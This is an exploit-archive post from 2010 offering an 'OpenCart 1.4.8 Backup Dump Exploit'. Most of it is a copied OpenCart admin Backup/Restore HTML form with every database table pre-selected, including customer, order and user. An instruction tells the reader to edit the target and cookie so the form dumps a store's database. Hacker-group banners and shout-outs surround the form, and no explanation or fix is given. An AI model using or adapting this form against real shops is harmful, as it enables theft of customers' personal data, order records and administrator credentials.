OpenCart Version 1.4.8 Backup Dump Exploit
Posted on 27 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>OpenCart Version 1.4.8 Backup Dump Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================== OpenCart Version 1.4.8 Backup Dump Exploit ========================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ####################################### 1 0 I'm indoushka member from Inj3ct0r Team 1 1 ####################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ######################################################################## # Vendor: http://www.opencart.com/ # Date: 2010-05-27 # Author : indoushka # R.I.P : www.Milw0rm.com,www.Tryag.cc,www.dz-security.com ! # Contact : 00213771818860 # Home : www.is3cur1ty.com # Bug : Mullti # Tested on : windows SP2 Fran?ais V.(Pnx2 2.0) ######################################################################## # Exploit By indoushka (Edit Target + cookie ) <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en"> <head> <title>Backup / Restore</title> <base href="http://127.0.0.1/upload/admin/" /> <link rel="stylesheet" type="text/css" href="view/stylesheet/stylesheet.css" /> <link rel="stylesheet" type="text/css" href="view/javascript/jquery/ui/themes/ui-lightness/ui.all.css" /> <script type="text/javascript" src="view/javascript/jquery/jquery-1.3.2.min.js"></script> <script type="text/javascript" src="view/javascript/jquery/ui/ui.core.js"></script> <script type="text/javascript" src="view/javascript/jquery/superfish/js/superfish.js"></script> <script type="text/javascript" src="view/javascript/jquery/tab.js"></script> <script type="text/javascript"> //----------------------------------------- // Confirm Actions (delete, uninstall) //----------------------------------------- $(document).ready(function(){ // Confirm Delete $('#form').submit(function(){ if ($(this).attr('action').indexOf('delete',1) != -1) { if (!confirm ('Confirm?')) { return false; } } }); // Confirm Uninstall $('a').click(function(){ if ($(this).attr('href') != null && $(this).attr('href').indexOf('uninstall',1) != -1) { if (!confirm ('Confirm?')) { return false; } } }); }); </script> </head> <body> <div id="container"> <div id="header"> <div class="div1"><img src="view/image/logo.png" title="Administration" onclick="location = 'http://127.0.0.1/upload/admin/index.php?route=common/home&token=aab3238922bcc25a6f606eb525ffdc56'" /></div> <div class="div2"><img src="view/image/lock.png" alt="" style="position: relative; top: 3px;" />&nbsp;You are logged in as <span>admin</span></div> </div> <div id="menu"> <ul class="nav left" style="display: none;"> <li id="dashboard"><a href="http://127.0.0.1/upload/admin/index.php?route=common/home&token=aab3238922bcc25a6f606eb525ffdc56" class="top">Dashboard</a></li> <li id="catalog"><a class="top">Catalog</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/category&token=aab3238922bcc25a6f606eb525ffdc56">Categories</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/product&token=aab3238922bcc25a6f606eb525ffdc56">Products</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/manufacturer&token=aab3238922bcc25a6f606eb525ffdc56">Manufacturers</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/download&token=aab3238922bcc25a6f606eb525ffdc56">Downloads</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/review&token=aab3238922bcc25a6f606eb525ffdc56">Reviews</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=catalog/information&token=aab3238922bcc25a6f606eb525ffdc56">Information</a></li> </ul> </li> <li id="extension"><a class="top">Extensions</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=extension/module&token=aab3238922bcc25a6f606eb525ffdc56">Modules</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=extension/shipping&token=aab3238922bcc25a6f606eb525ffdc56">Shipping</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=extension/payment&token=aab3238922bcc25a6f606eb525ffdc56">Payments</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=extension/total&token=aab3238922bcc25a6f606eb525ffdc56">Order Totals</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=extension/feed&token=aab3238922bcc25a6f606eb525ffdc56">Product Feeds</a></li> </ul> </li> <li id="sale"><a class="top">Sales</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=sale/order&token=aab3238922bcc25a6f606eb525ffdc56">Orders</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=sale/customer&token=aab3238922bcc25a6f606eb525ffdc56">Customers</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=sale/customer_group&token=aab3238922bcc25a6f606eb525ffdc56">Customer Groups</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=sale/coupon&token=aab3238922bcc25a6f606eb525ffdc56">Coupons</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=sale/contact&token=aab3238922bcc25a6f606eb525ffdc56">Mail</a></li> </ul> </li> <li id="system"><a class="top">System</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=setting/setting&token=aab3238922bcc25a6f606eb525ffdc56">Settings</a></li> <li><a class="parent">Users</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=user/user&token=aab3238922bcc25a6f606eb525ffdc56">Users</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=user/user_permission&token=aab3238922bcc25a6f606eb525ffdc56">User Groups</a></li> </ul> </li> <li><a class="parent">Localisation</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/language&token=aab3238922bcc25a6f606eb525ffdc56">Languages</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/currency&token=aab3238922bcc25a6f606eb525ffdc56">Currencies</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/stock_status&token=aab3238922bcc25a6f606eb525ffdc56">Stock Statuses</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/order_status&token=aab3238922bcc25a6f606eb525ffdc56">Order Statuses</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/country&token=aab3238922bcc25a6f606eb525ffdc56">Countries</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/zone&token=aab3238922bcc25a6f606eb525ffdc56">Zones</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/geo_zone&token=aab3238922bcc25a6f606eb525ffdc56">Geo Zones</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/tax_class&token=aab3238922bcc25a6f606eb525ffdc56">Tax Classes</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/length_class&token=aab3238922bcc25a6f606eb525ffdc56">Length Classes</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=localisation/weight_class&token=aab3238922bcc25a6f606eb525ffdc56">Weight Classes</a></li> </ul> </li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=tool/error_log&token=aab3238922bcc25a6f606eb525ffdc56">Error Logs</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=tool/backup&token=aab3238922bcc25a6f606eb525ffdc56">Backup / Restore</a></li> </ul> </li> <li id="reports"><a class="top">Reports</a> <ul> <li><a href="http://127.0.0.1/upload/admin/index.php?route=report/sale&token=aab3238922bcc25a6f606eb525ffdc56">Sales</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=report/viewed&token=aab3238922bcc25a6f606eb525ffdc56">Products Viewed</a></li> <li><a href="http://127.0.0.1/upload/admin/index.php?route=report/purchased&token=aab3238922bcc25a6f606eb525ffdc56">Products Purchased</a></li> </ul> </li> <li id="help"><a class="top">Help</a> <ul> <li><a onclick="window.open('http://www.opencart.com');">Homepage</a></li> <li><a onclick="window.open('http://www.opencart.com/index.php?route=documentation/introduction');">Documentation</a></li> <li><a onclick="window.open('http://forum.opencart.com');">Support Forum</a></li> </ul> </li> </ul> <ul class="nav right"> <li id="store"><a onclick="window.open('http://127.0.0.1/upload/');" class="top">Store Front</a> <ul> </ul> </li> <li id="store"><a class="top" href="http://127.0.0.1/upload/admin/index.php?route=common/logout&token=aab3238922bcc25a6f606eb525ffdc56">Logout</a></li> </ul> <script type="text/javascript"><!-- $(document).ready(function() { $('.nav').superfish({ hoverClass : 'sfHover', pathClass : 'overideThisToUse', delay : 0, animation : {height: 'show'}, speed : 'normal', autoArrows : false, dropShadows : false, disableHI : false, /* set to true to disable hoverIntent detection */ onInit : function(){}, onBeforeShow : function(){}, onShow : function(){}, onHide : function(){} }); $('.nav').css('display', 'block'); }); //--></script> <script type="text/javascript"><!-- function getURLVar(urlVarName) { var urlHalves = String(document.location).toLowerCase().split('?'); var urlVarValue = ''; if (urlHalves[1]) { var urlVars = urlHalves[1].split('&'); for (var i = 0; i <= (urlVars.length); i++) { if (urlVars[i]) { var urlVarPair = urlVars[i].split('='); if (urlVarPair[0] && urlVarPair[0] == urlVarName.toLowerCase()) { urlVarValue = urlVarPair[1]; } } } } return urlVarValue; } $(document).ready(function() { route = getURLVar('route'); if (!route) { $('#dashboard').addClass('selected'); } else { part = route.split('/'); url = part[0]; if (part[1]) { url += '/' + part[1]; } $('a[href*='' + url + '']').parents('li[id]').addClass('selected'); } }); //--></script> </div> <div id="content"> <div class="breadcrumb"> <a href="http://127.0.0.1/upload/admin/index.php?route=common/home&token=aab3238922bcc25a6f606eb525ffdc56">Home</a> :: <a href="http://127.0.0.1/upload/admin/index.php?route=tool/backup&token=aab3238922bcc25a6f606eb525ffdc56">Backup / Restore</a> </div> <div class="box"> <div class="left"></div> <div class="right"></div> <div class="heading"> <h1 style="background-image: url('view/image/backup.png');">Backup / Restore</h1> <div class="buttons"><a onclick="$('#restore').submit();" class="button"><span>Restore</span></a><a onclick="$('#backup').submit();" class="button"><span>Backup</span></a></div> </div> <div class="content"> <form action="http://127.0.0.1/upload/admin/index.php?route=tool/backup&token=aab3238922bcc25a6f606eb525ffdc56" method="post" enctype="multipart/form-data" id="restore"> <table class="form"> <tr> <td>Restore Backup:</td> <td><input type="file" name="import" /></td> </tr> </table> </form> <form action="http://127.0.0.1/upload/admin/index.php?route=tool/backup/backup&token=aab3238922bcc25a6f606eb525ffdc56" method="post" enctype="multipart/form-data" id="backup"> <table class="form"> <tr> <td>Backup:</td> <td><div class="scrollbox" style="margin-bottom: 5px;"> <div class="even"> <input type="checkbox" name="backup[]" value="address" checked="checked" /> address </div> <div class="odd"> <input type="checkbox" name="backup[]" value="category" checked="checked" /> category </div> <div class="even"> <input type="checkbox" name="backup[]" value="category_description" checked="checked" /> category_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="category_to_store" checked="checked" /> category_to_store </div> <div class="even"> <input type="checkbox" name="backup[]" value="country" checked="checked" /> country </div> <div class="odd"> <input type="checkbox" name="backup[]" value="coupon" checked="checked" /> coupon </div> <div class="even"> <input type="checkbox" name="backup[]" value="coupon_description" checked="checked" /> coupon_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="coupon_product" checked="checked" /> coupon_product </div> <div class="even"> <input type="checkbox" name="backup[]" value="currency" checked="checked" /> currency </div> <div class="odd"> <input type="checkbox" name="backup[]" value="customer" checked="checked" /> customer </div> <div class="even"> <input type="checkbox" name="backup[]" value="customer_group" checked="checked" /> customer_group </div> <div class="odd"> <input type="checkbox" name="backup[]" value="download" checked="checked" /> download </div> <div class="even"> <input type="checkbox" name="backup[]" value="download_description" checked="checked" /> download_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="extension" checked="checked" /> extension </div> <div class="even"> <input type="checkbox" name="backup[]" value="geo_zone" checked="checked" /> geo_zone </div> <div class="odd"> <input type="checkbox" name="backup[]" value="information" checked="checked" /> information </div> <div class="even"> <input type="checkbox" name="backup[]" value="information_description" checked="checked" /> information_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="information_to_store" checked="checked" /> information_to_store </div> <div class="even"> <input type="checkbox" name="backup[]" value="language" checked="checked" /> language </div> <div class="odd"> <input type="checkbox" name="backup[]" value="length_class" checked="checked" /> length_class </div> <div class="even"> <input type="checkbox" name="backup[]" value="length_class_description" checked="checked" /> length_class_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="manufacturer" checked="checked" /> manufacturer </div> <div class="even"> <input type="checkbox" name="backup[]" value="manufacturer_to_store" checked="checked" /> manufacturer_to_store </div> <div class="odd"> <input type="checkbox" name="backup[]" value="order" checked="checked" /> order </div> <div class="even"> <input type="checkbox" name="backup[]" value="order_download" checked="checked" /> order_download </div> <div class="odd"> <input type="checkbox" name="backup[]" value="order_history" checked="checked" /> order_history </div> <div class="even"> <input type="checkbox" name="backup[]" value="order_option" checked="checked" /> order_option </div> <div class="odd"> <input type="checkbox" name="backup[]" value="order_product" checked="checked" /> order_product </div> <div class="even"> <input type="checkbox" name="backup[]" value="order_status" checked="checked" /> order_status </div> <div class="odd"> <input type="checkbox" name="backup[]" value="order_total" checked="checked" /> order_total </div> <div class="even"> <input type="checkbox" name="backup[]" value="product" checked="checked" /> product </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_description" checked="checked" /> product_description </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_discount" checked="checked" /> product_discount </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_featured" checked="checked" /> product_featured </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_image" checked="checked" /> product_image </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_option" checked="checked" /> product_option </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_option_description" checked="checked" /> product_option_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_option_value" checked="checked" /> product_option_value </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_option_value_description" checked="checked" /> product_option_value_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_related" checked="checked" /> product_related </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_special" checked="checked" /> product_special </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_tags" checked="checked" /> product_tags </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_to_category" checked="checked" /> product_to_category </div> <div class="odd"> <input type="checkbox" name="backup[]" value="product_to_download" checked="checked" /> product_to_download </div> <div class="even"> <input type="checkbox" name="backup[]" value="product_to_store" checked="checked" /> product_to_store </div> <div class="odd"> <input type="checkbox" name="backup[]" value="review" checked="checked" /> review </div> <div class="even"> <input type="checkbox" name="backup[]" value="setting" checked="checked" /> setting </div> <div class="odd"> <input type="checkbox" name="backup[]" value="stock_status" checked="checked" /> stock_status </div> <div class="even"> <input type="checkbox" name="backup[]" value="store" checked="checked" /> store </div> <div class="odd"> <input type="checkbox" name="backup[]" value="store_description" checked="checked" /> store_description </div> <div class="even"> <input type="checkbox" name="backup[]" value="tax_class" checked="checked" /> tax_class </div> <div class="odd"> <input type="checkbox" name="backup[]" value="tax_rate" checked="checked" /> tax_rate </div> <div class="even"> <input type="checkbox" name="backup[]" value="url_alias" checked="checked" /> url_alias </div> <div class="odd"> <input type="checkbox" name="backup[]" value="user" checked="checked" /> user </div> <div class="even"> <input type="checkbox" name="backup[]" value="user_group" checked="checked" /> user_group </div> <div class="odd"> <input type="checkbox" name="backup[]" value="weight_class" checked="checked" /> weight_class </div> <div class="even"> <input type="checkbox" name="backup[]" value="weight_class_description" checked="checked" /> weight_class_description </div> <div class="odd"> <input type="checkbox" name="backup[]" value="zone" checked="checked" /> zone </div> <div class="even"> <input type="checkbox" name="backup[]" value="zone_to_geo_zone" checked="checked" /> zone_to_geo_zone </div> </div> <a onclick="$('input[name*='backup']').attr('checked', 'checked');"><u>Select All</u></a> / <a onclick="$('input[name*='backup']').attr('checked', '');"><u>Unselect All</u></a></td> </tr> </table> </form> </div> </div> </div></div> <div id="footer"> <a href="http://www.opencart.com">OpenCart</a> &copy; 2009-2010 All Rights Reserved.<br />Version 1.4.8</div> </body></html> Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel =========================== special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te --------------------------------------------------------------------------------------------------------------------------------- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-27]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
